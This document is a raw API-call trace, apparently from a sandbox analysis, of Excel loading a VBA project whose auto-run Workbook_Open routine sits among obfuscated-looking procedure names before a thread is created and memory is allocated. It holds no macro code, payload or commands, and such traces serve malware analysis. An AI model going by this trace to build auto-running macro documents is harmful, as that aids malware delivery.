	[0053.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2cfa, cbMultiByte=12, lpWideCharStr=0x27e780, cchWideChar=24 | out: lpWideCharStr="doublecheck") returned 12
	[0053.778] _mbscpy_s (in: _Dst=0x27e7c0, _DstSizeInBytes=0xc, _Src=0x57b2cfa | out: _Dst=0x27e7c0) returned 0x0
	[0053.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2d26, cbMultiByte=10, lpWideCharStr=0x27e780, cchWideChar=20 | out: lpWideCharStr="formsands") returned 10
	[0053.778] _mbscpy_s (in: _Dst=0x27e7c0, _DstSizeInBytes=0xa, _Src=0x57b2d26 | out: _Dst=0x27e7c0) returned 0x0
	[0053.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2d52, cbMultiByte=11, lpWideCharStr=0x27e780, cchWideChar=22 | out: lpWideCharStr="cleardatas") returned 11
	[0053.778] _mbscpy_s (in: _Dst=0x27e7c0, _DstSizeInBytes=0xb, _Src=0x57b2d52 | out: _Dst=0x27e7c0) returned 0x0
	[0053.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2d7e, cbMultiByte=7, lpWideCharStr=0x27e780, cchWideChar=14 | out: lpWideCharStr="commde") returned 7
	[0053.778] _mbscpy_s (in: _Dst=0x27e7c0, _DstSizeInBytes=0x7, _Src=0x57b2d7e | out: _Dst=0x27e7c0) returned 0x0
	[0053.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2da6, cbMultiByte=6, lpWideCharStr=0x27e780, cchWideChar=12 | out: lpWideCharStr="crsss") returned 6
	[0053.778] _mbscpy_s (in: _Dst=0x27e7c0, _DstSizeInBytes=0x6, _Src=0x57b2da6 | out: _Dst=0x27e7c0) returned 0x0
	[0053.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2c36, cbMultiByte=8, lpWideCharStr=0x27e780, cchWideChar=16 | out: lpWideCharStr="AndPlus") returned 8
	[0053.778] _mbscpy_s (in: _Dst=0x27e7c0, _DstSizeInBytes=0x8, _Src=0x57b2c36 | out: _Dst=0x27e7c0) returned 0x0
	[0053.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2bde, cbMultiByte=7, lpWideCharStr=0x27e780, cchWideChar=14 | out: lpWideCharStr="sdemom") returned 7
	[0053.778] _mbscpy_s (in: _Dst=0x27e7c0, _DstSizeInBytes=0x7, _Src=0x57b2bde | out: _Dst=0x27e7c0) returned 0x0
	[0053.778] CoCreateGuid (in: pguid=0x27e980 | out: pguid=0x27e980*(Data1=0xc7d9bce6, Data2=0xce2e, Data3=0x46b0, Data4=([0]=0xbc, [1]=0x41, [2]=0x4e, [3]=0x54, [4]=0x2d, [5]=0xf8, [6]=0xfb, [7]=0x0))) returned 0x0
	[0053.779] CoCreateGuid (in: pguid=0x27e980 | out: pguid=0x27e980*(Data1=0x934ef72f, Data2=0x89ea, Data3=0x4ea1, Data4=([0]=0x86, [1]=0xdd, [2]=0x84, [3]=0x64, [4]=0x36, [5]=0xd7, [6]=0x3, [7]=0xf7))) returned 0x0
	[0053.779] IMalloc:Alloc (This=0x7feffc15380, cb=0x14) returned 0xc0ec530
	[0053.779] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0
	[0053.779] IUnknown:AddRef (This=0xb9fd070) returned 0x4
	[0053.779] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd070, ppTLibAttr=0x27dfe8, pDummy=0x0 | out: ppTLibAttr=0x27dfe8, pDummy=0x0) returned 0x0
	[0053.779] ITypeLib:RemoteGetDocumentation (in: This=0xb9fd070, index=-1, refPtrFlags=0x27e000, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27e020 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27e020*=0x0) returned 0x0
	[0053.779] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbe67070
	[0053.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=66, lpMultiByteStr=0x27e070, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\x9f\x0b", lpUsedDefaultChar=0x0) returned 66
	[0053.779] strcpy_s (in: _Dst=0xb9a9e50, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0
	[0053.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x27e180, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4
	[0053.779] strcpy_s (in: _Dst=0xb9a9ea0, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0
	[0053.779] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbe67910
	[0053.779] IUnknown:AddRef (This=0xb9fd070) returned 0x5
	[0053.780] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd070) returned 0x0
	[0053.780] IUnknown:Release (This=0xb9fd070) returned 0x4
	[0053.780] _wcsicmp (_String1="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 4
	[0053.780] _wcsicmp (_String1="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0
	[0053.780] IUnknown:AddRef (This=0xb9fc260) returned 0xe
	[0053.780] ITypeLib:RemoteGetLibAttr (in: This=0xb9fc260, ppTLibAttr=0x27dfe8, pDummy=0x0 | out: ppTLibAttr=0x27dfe8, pDummy=0x0) returned 0x0
	[0053.780] ITypeLib:RemoteGetDocumentation (in: This=0xb9fc260, index=-1, refPtrFlags=0x27e000, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0053.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchWideChar=57, lpMultiByteStr=0x27e070, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\\VBE7.DLL", lpUsedDefaultChar=0x0) returned 57
	[0053.780] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb820a00
	[0053.780] strcpy_s (in: _Dst=0xb820a28, _DstSize=0x3a, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0
	[0053.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x27e180, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6
	[0053.780] strcpy_s (in: _Dst=0xb820a70, _DstSize=0x6, _Src="Excel" | out: _Dst="Excel") returned 0x0
	[0053.780] IUnknown:AddRef (This=0xb9fc260) returned 0xf
	[0053.780] ITypeLib:LocalReleaseTLibAttr (This=0xb9fc260) returned 0x0
	[0053.780] IUnknown:Release (This=0xb9fc260) returned 0xe
	[0053.780] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50
	[0053.781] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4
	[0053.781] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0
	[0053.781] IUnknown:AddRef (This=0xb9fd610) returned 0x5
	[0053.781] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd610, ppTLibAttr=0x27dfe8, pDummy=0x0 | out: ppTLibAttr=0x27dfe8, pDummy=0x0) returned 0x0
	[0053.781] ITypeLib:RemoteGetDocumentation (in: This=0xb9fd610, index=-1, refPtrFlags=0x27e000, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0053.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0x27e070, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\stdole2.tlbce\\Root\\Office16\\EXCEL.EXE", lpUsedDefaultChar=0x0) returned 31
	[0053.781] strcpy_s (in: _Dst=0xb820ae0, _DstSize=0x20, _Src="C:\\Windows\\system32\\stdole2.tlb" | out: _Dst="C:\\Windows\\system32\\stdole2.tlb") returned 0x0
	[0053.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x27e180, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7
	[0053.781] strcpy_s (in: _Dst=0xb820b08, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0
	[0053.782] IUnknown:AddRef (This=0xb9fd610) returned 0x6
	[0053.782] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd610) returned 0x0
	[0053.782] IUnknown:Release (This=0xb9fd610) returned 0x5
	[0053.782] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2
	[0053.782] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 2
	[0053.783] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 2
	[0053.783] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0
	[0053.783] IUnknown:AddRef (This=0xb9fdbb0) returned 0x3
	[0053.783] ITypeLib:RemoteGetLibAttr (in: This=0xb9fdbb0, ppTLibAttr=0x27dfe8, pDummy=0x0 | out: ppTLibAttr=0x27dfe8, pDummy=0x0) returned 0x0
	[0053.783] ITypeLib:RemoteGetDocumentation (in: This=0xb9fdbb0, index=-1, refPtrFlags=0x27e000, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0053.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0x27e070, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLLDLL", lpUsedDefaultChar=0x0) returned 63
	[0053.783] strcpy_s (in: _Dst=0xb820b78, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0
	[0053.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x27e180, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7
	[0053.783] strcpy_s (in: _Dst=0xb820bc0, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0
	[0053.783] IUnknown:AddRef (This=0xb9fdbb0) returned 0x4
	[0053.783] ITypeLib:LocalReleaseTLibAttr (This=0xb9fdbb0) returned 0x0
	[0053.783] IUnknown:Release (This=0xb9fdbb0) returned 0x3
	[0053.783] IMalloc:Free (This=0x7feffc15380, pv=0xc0f03b0) 
	[0053.783] IMalloc:Alloc (This=0x7feffc15380, cb=0x118) returned 0xc22dc40
	[0053.783] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb8200c0
	[0053.784] IMalloc:Alloc (This=0x7feffc15380, cb=0x950) returned 0xbd1fd30
	[0053.787] IMalloc:Alloc (This=0x7feffc15380, cb=0x70) returned 0xbfc9f70
	[0053.787] IMalloc:Alloc (This=0x7feffc15380, cb=0x70) returned 0xbfc9cf0
	[0053.788] strcpy_s (in: _Dst=0xb820130, _DstSize=0x9, _Src="Workbook" | out: _Dst="Workbook") returned 0x0
	[0053.788] IMalloc:Alloc (This=0x7feffc15380, cb=0x218) returned 0xbcf0e20
	[0053.788] ITypeLib:RemoteGetLibAttr (in: This=0xb9fc260, ppTLibAttr=0x27d158, pDummy=0x0 | out: ppTLibAttr=0x27d158, pDummy=0x0) returned 0x0
	[0053.788] ITypeLib:RemoteGetDocumentation (in: This=0xb9fc260, index=-1, refPtrFlags=0x27d170, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x701a4c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x701a4c0*="渰？߾") returned 0x0
	[0053.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchWideChar=57, lpMultiByteStr=0x27d1e0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", lpUsedDefaultChar=0x0) returned 57
	[0053.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x27d2f0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6
	[0053.788] ITypeLib:LocalReleaseTLibAttr (This=0xb9fc260) returned 0x0
	[0053.788] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbe67d60
	[0053.788] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb821590
	[0053.788] IUnknown:Release (This=0xb9fc260) returned 0xf
	[0053.788] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0x7177590
	[0053.788] strcpy_s (in: _Dst=0xb820c18, _DstSize=0x8, _Src="Forms2F" | out: _Dst="Forms2F") returned 0x0
	[0053.789] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.789] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.789] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.789] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x45) returned 1
	[0053.789] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.789] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b
	[0053.789] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767
	[0053.789] _mbscpy_s (in: _Dst=0x27d050, _DstSizeInBytes=0xe, _Src=0x57b2c06 | out: _Dst=0x27d050) returned 0x0
	[0053.789] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b
	[0053.789] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0x71765f0
	[0053.789] strcpy_s (in: _Dst=0xb820148, _DstSize=0xe, _Src="Workbook_Open" | out: _Dst="Workbook_Open") returned 0x0
	[0053.789] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb820c50
	[0053.790] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.790] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.790] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.790] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x45) returned 1
	[0053.790] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.790] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0x72fa8b0
	[0053.790] strcpy_s (in: _Dst=0xb820160, _DstSize=0x9, _Src="marrsell" | out: _Dst="marrsell") returned 0x0
	[0053.790] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.790] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.790] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.790] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.790] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x4d) returned 1
	[0053.790] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.790] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb8210f0
	[0053.790] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0x7175f60
	[0053.790] strcpy_s (in: _Dst=0xb820178, _DstSize=0x4, _Src="njk" | out: _Dst="njk") returned 0x0
	[0053.790] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.790] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.791] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.791] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x45) returned 1
	[0053.791] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.791] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0x72fc8f0
	[0053.791] strcpy_s (in: _Dst=0xb820188, _DstSize=0x8, _Src="settler" | out: _Dst="settler") returned 0x0
	[0053.791] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.791] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.791] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.791] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.791] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x4d) returned 1
	[0053.791] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.791] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb820310
	[0053.791] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0x730a750
	[0053.791] strcpy_s (in: _Dst=0xb820198, _DstSize=0xc, _Src="doublecheck" | out: _Dst="doublecheck") returned 0x0
	[0053.791] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.791] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.791] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.791] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.791] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x4d) returned 1
	[0053.791] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.791] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbeecfd0
	[0053.792] strcpy_s (in: _Dst=0xb8201b0, _DstSize=0xa, _Src="formsands" | out: _Dst="formsands") returned 0x0
	[0053.792] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.792] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.792] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.792] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.792] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x4d) returned 1
	[0053.792] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.792] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb822120
	[0053.792] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbee8350
	[0053.792] strcpy_s (in: _Dst=0xb8201c8, _DstSize=0xb, _Src="cleardatas" | out: _Dst="cleardatas") returned 0x0
	[0053.792] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.792] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.792] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.792] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.792] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x4d) returned 1
	[0053.792] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.792] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbeee6b0
	[0053.792] strcpy_s (in: _Dst=0xb8201e0, _DstSize=0x7, _Src="commde" | out: _Dst="commde") returned 0x0
	[0053.793] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.793] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.793] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.793] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.793] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x4d) returned 1
	[0053.793] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.793] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb822370
	[0053.793] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbeee650
	[0053.793] strcpy_s (in: _Dst=0xb8201f0, _DstSize=0x6, _Src="crsss" | out: _Dst="crsss") returned 0x0
	[0053.793] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.793] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.793] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.793] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.793] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x4d) returned 1
	[0053.793] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.793] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbeee470
	[0053.793] strcpy_s (in: _Dst=0xb820200, _DstSize=0x8, _Src="AndPlus" | out: _Dst="AndPlus") returned 0x0
	[0053.793] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.793] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.793] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.793] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.793] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x4d) returned 1
	[0053.793] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.793] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb821ed0
	[0053.794] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbeee3b0
	[0053.794] strcpy_s (in: _Dst=0xb820210, _DstSize=0x7, _Src="sdemom" | out: _Dst="sdemom") returned 0x0
	[0053.794] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.794] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.794] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.794] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.794] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x4d) returned 1
	[0053.794] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.794] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbe681b0
	[0053.794] IMalloc:Free (This=0x7feffc15380, pv=0xc0f03b0) 
	[0053.795] DispCallFunc (pvInstance=0xbfc9e50, oVft=0x38, cc=0x4, vtReturn=0xa, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x27e070) returned 0x0
	[0053.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x7fee5d61778, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x27db30 | out: lpThreadId=0x27db30*=0xb0c) returned 0x76c
	[0053.797] PeekMessageA (in: lpMsg=0x27dad0, hWnd=0x202b0, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0x27dad0) returned 0
	[0053.797] GetActiveWindow () returned 0x40216
	[0053.799] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0xbd31e00
	[0053.799] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000
	[0053.800] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0xba4def0
	[0053.800] IMalloc:GetSize (This=0x7feffc15380, pv=0xba4def0) returned 0xc0
	[0053.801] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x200) returned 0xbd620b0
	[0053.801] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbe68600
	[0053.801] IMalloc:Alloc (This=0x7feffc15380, cb=0x318) returned 0x7792050
